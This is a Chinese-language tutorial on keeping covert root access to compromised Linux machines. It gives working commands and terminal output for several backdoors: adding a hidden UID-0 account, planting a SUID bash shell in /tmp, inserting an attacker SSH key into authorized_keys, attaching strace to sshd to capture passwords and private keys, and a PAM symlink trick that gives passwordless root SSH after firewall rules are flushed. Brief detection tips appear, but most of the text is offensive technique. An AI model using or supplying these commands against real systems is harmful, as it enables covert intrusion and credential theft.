目录
一、权限维持介绍
定义
攻击者尝试维持驻点的技术,包括攻击者用来在重启、修改凭据或则其他能够切断攻击者访问的情况下,依然保持对系统的访问,具体技术包括一些访问某些页面、执行某些操作或者修改配置使得能够在系统上长久的驻留。
后门的功能
常见的后门往往有一些功能以达到一些目的,如:写入后门文件、会连CC、进行密码记录和挖矿等功能。权限维持常常具有:定期出发、重启出发、以及常见的事件调用唤起后门等特点。攻击者常常通过文件隐藏、进程隐藏、网络隐藏、守护进程、系统权限启动等操作达到如下目的。
后门分类
如果按照对层次的划分来看,可以分为:系统内核级别后门、系统用户级别后门、web容器后门、应用软件后门等。
如果按照功能进行划分,那么可以分为:web后门,webshell、启动项后门、守护进程后门、服务进程后门等。
二、Linux权限维持
Linux系统总结起来,有如下的权限维持方法:
1、添加系统管理员账户
原理:添加账户如r00t,密码为password的root账户,具体参数可以使用useradd --help查看,这里不过多赘述。
useradd -u 0 -o -g -G root r00T; echo r00t :password | chpasswd
附:其他方法创建root账户:
perl语言创建:
[root@snxi ~]#perl -e 'print crypt("Poker","AA"). "n"'
直接输入到/etc/passwd文件中
[root@snxi ~]#echo "backdoor:123456789:0:0:me:/root/bin/bash">>/etc/passwd
2、设置suid权限
原理:suid权限的文件在执行时具有该文件所有者的权限,所以可以利用在root权限时,留一个bash文件的后门就可以实现低权限时通过该后门获得root权限。
具体命令如下:
cp /bin/bash /tmp/testing
cd /tmp
chmod 4755 testing
接着在低权限下进行测试:
/tmp/testing -p //即可获取到root权限。
测试:
[root@zh ~]# cp /bin/bash /tmp/test
[root@zh ~]# cd /tmp
[root@zh tmp]# chmod 4755 test
[root@zh tmp]# ll test
-rwsr-xr-x. 1 root root 938832 Jan 10 14:36 test
[root@zh tmp]# su zh
[zh@zh tmp]$ id
uid=501(zh) gid=501(zh) groups=501(zh) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
[zh@zh tmp]$ ./test //bash2中添加了防护措施所以无法直接获取rootshell
test-4.1$ exit //退出,使用-p参数获取所有权限。
[zh@zh tmp]$ /tmp/test -p
test-4.1# //成功获取
那么对应的检测方法如下:
find / -perm 4000 ,找到之后可以修改对应的权限即可,chmod -s /tmp/testing。
3、bash环境文件后门
原理:bash环境文件/etc/profile,~/.bash_profile等文件实质上是bash脚本文件,当用户登录系统之后,汇之星部分的文件,如果在其中写入一些后门命令,那么就可以在用户登录时出发执行。
那么常见的一些检测方法如下:
检测这些文件中时候存在着异常的代码:/etc/profile,/etc/prifile.d/*.sh,-/.bash_profile,-/.bash_logout,/etc/bashrc,/etc/bash.bashrc等文件种可疑的代码,删除即可。
4、写入SSH公钥
这种方法就是使用秘钥的方式进行远程登录,很简单,直接上方法:
[root@localhost ~]# ssh-keygen -t rsa
Generating public/private rsa key pair.
Enter file in which to save the key (/root/.ssh/id_rsa): /root/test
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in /root/test.
Your public key has been saved in /root/test.pub.
The key fingerprint is:
SHA256:bXM/dN9oBLxoIPMHIcigS1vvRFAcnpFw3GZ4DZ88wKU root@localhost.localdomain
The key's randomart image is:
+---[RSA 2048]----+
| .==*Bo=. |
| . *=oB=o.. |
|.. . +*Eo= o |
|..o o + +.. o |
|.. o S B o o .|
| o + o + oo|
| . = o|
| . . |
| | /生成公钥,将公钥传入到肉鸡的 /root/.ssh/authorized_keys
+----[SHA256]-----+
[root@localhost ~]# cat test.pub
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDcERR2QswmZ06HFgDEGc73wFp+aI+9zP+nEUFLTjVUXXSJsiDPPDlNQFbK9okHgbtUrIPd8E/unLKmP2VAjsX77/gDIjqT70zY3ihvq4NTug1qrXNI+WOHhxjjd2hxcxZW7DDtwbxO6NjskcjD28NjfY1ig2UKXIlnjhV5DRYLKFC3k9RtiJV6F2mH0N53qAIj1bnRWipqvZkA1G3LYsA1HJFp+MysNsAa9RHmUaQFiDen0RI4OYQSwx5M2aqn23I8BiS08c9I6Tm3dezzDQfteJL1lM6/QfuRIb49QmFio4r3/JyYGEE0V4fYKrlMLmBLIyibSsZM5mq73MiUmPvX root@localhost.localdomain
生成公钥,将公钥传入到控制机中的用户家目录中的.ssh文件下。
echo " ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDcERR2QswmZ06HFgDEGc73wFp+aI+9zP+nEUFLTjVUXXSJsiDPPDlNQFbK9okHgbtUrIPd8E/unLKmP2VAjsX77/gDIjqT70zY3ihvq4NTug1qrXNI+WOHhxjjd2hxcxZW7DDtwbxO6NjskcjD28NjfY1ig2UKXIlnjhV5DRYLKFC3k9RtiJV6F2mH0N53qAIj1bnRWipqvZkA1G3LYsA1HJFp+MysNsAa9RHmUaQFiDen0RI4OYQSwx5M2aqn23I8BiS08c9I6Tm3dezzDQfteJL1lM6/QfuRIb49QmFio4r3/JyYGEE0V4fYKrlMLmBLIyibSsZM5mq73MiUmPvX"
>> /root/.ssh/authorized_keys
ssh链接:
ssh -i id_rsa root@ip
5、strace记录认证登录信息
原理:strace是用来记录跟踪一个进程执行时所产生的系统调用,即用来监控系统调用的。可以监视跟进一个新系统的调用也可以监视一个已经在运行的系统调用,获取到相关的参数、返回值、执行事件等,所以就可以利用他来监视sshd进程,获取ssh的登录账户和密码。
测试:
1、方一
##获取ssh的进程号.
pid=`ps -ef | grep "sshd -D" | grep -v grep | awk {'print $2'}`
##使用strace监听ssh登录信息并输入到/tmp目录中的文件中。
strace -f -p $pid -o /tmp/.sshOutPut_`date+%Y%m%d%H%M%S`.log -e trace=write -s 2048 &
2、方法二
##后门创建
(strace -f -F -p `ps aux|grep "sshd -D"|grep -v grep|awk {'print $2'}` -t -e trace=read,write -s 32 2> /tmp/.sshd.log &)
##用户登录ssh,查看信息:
grep -E 'read\(6, ".+\\0\\0\\0\\.+"' /tmp/.sshd.log
3、方法三:ssh秘钥窃取
##创建后门
(strace -f -F -p `ps aux|grep "sshd -D"|grep -v grep|awk {'print $2'}` -t -e trace=read,write -s 4096 2> /tmp/.sshd.log &)
##秘钥查看
grep 'PRIVATE KEY' /tmp/.sshd.log
如果配合alias使用,那么可以达到意想不到的效果:
##当启用lessh登录程序时,跟踪进程,可以记录利用ssd登录的主机的密码信息。
alias ssh-'strace -o /tmp/.sshOutput_`data`.log -e read,write,connect -s 2048 ssh'
检测方法:
##查看是否有对strace进程对sshd有监控
ps -aux | grep strace //kill查杀
##查看
alias //unalias xx
6、SSH任意密码登录后门
原理:ssh登录默认使用的是PAM认证机制,那么在root条件下,一些命令的执行是不需要输入密码的,如su,因为这些命令在pam_rootok.so文件中进行了认证。
测试:
##目标主机执行任意一条命令:
1、ln -sf /usr/sbin/sshd /tmp/su;/tmp/su -oport=60000
2、ln -sf /usr/sbin/sshd /tmp/chsh; /tmp/chsh -oport=12345
3、ln -sf /usr/sbin/sshd /tmp/chfn;/tmp/chfn -oport=54321
##删除各种iptalbes的chain规则
iptables -F
##主机远程
ssh root@xxxx -p 60000 //即可无密码登录
下期给大家分享Windows的权限维持方法。